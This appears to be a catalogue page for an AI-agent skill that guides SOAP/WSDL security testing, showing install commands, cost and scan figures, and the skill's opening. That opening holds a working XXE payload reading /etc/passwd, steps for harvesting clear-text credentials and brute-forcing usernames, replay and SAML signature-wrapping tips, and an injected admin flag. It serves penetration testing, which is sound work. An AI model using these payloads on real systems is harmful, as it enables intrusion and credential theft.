A security testing guide for SOAP and WSDL, older XML-based web services and the documents that describe their operations. It covers service discovery, XML parser flaws, replay, and token attacks.

Use it to find WSDL definitions, generate a client for testing, and check SOAP requests for XXE, replay, credential, and token-validation weaknesses.

It helps assess legacy enterprise integrations where unsafe XML processing or weak authentication may expose data or access.

soap-wsdl — Skill for Claude Code by MingyiSecLab

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add MingyiSecLab/Mingyi-Atlas --skill soap-wsdl

Clone the repo

git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/soap-wsdl/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/soap-wsdl)

Your own site

<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/soap-wsdl"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/soap-wsdl/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/soap-wsdl"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/soap-wsdl.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 51 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,163 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin 97% copy Near-identical to another mod in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00051	$0.01163
Opus 5	$0.00026	$0.00581
Sonnet 5	$0.00010	$0.00233
Haiku 4.5	$0.00005	$0.00116

Measured 9d ago against content hash a6142c71dcd4, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

soap-wsdl scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -sk -X POST -d @ws-attack.xml https://target/svc

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -

Origin

This is a copy

97% identical to api-soap-wsdl — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/exploit/api/soap-wsdl/SKILL.md · 111 lines

How it starts

The opening of the file, as written. The whole thing — 111 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SOAP / WSDL Attack Surface

Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems.

Discovery

# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -

# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl

Quick attack catalog

XXE in SOAP envelope

curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
  -d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx

WS-Security UsernameToken brute / clear-text leak

The <wsse:UsernameToken> often carries <wsse:Password> in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:

# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class

WS-Addressing replay

SOAP responses often include <wsa:RelatesTo> referencing the request <wsa:MessageID>. Some servers don't validate freshness:

<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>

SAML in WS-Trust / SAML EncryptedAssertion

WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns.

Schema validation bypass

Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:

<soap:Body>
  <tns:Method>
    <tns:adminFlag>true</tns:adminFlag>   <!-- not in XSD, often honored -->
    <tns:arg>value</tns:arg>
  </tns:Method>
</soap:Body>

Read the full file on GitHub · 111 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

9d ago First seen · 111 lines · 51 tokens per session scan A a6142c71dcd4

Subscribe to this mod's changes

soap-wsdl is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 51 tokens to every session and 1,163 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). It is 97% identical to api-soap-wsdl, differing in 2 lines, and is treated as a copy.

Security ai-agents ai-hacking ai-pentesting ai-security cybersecurity devsecops

soap-wsdl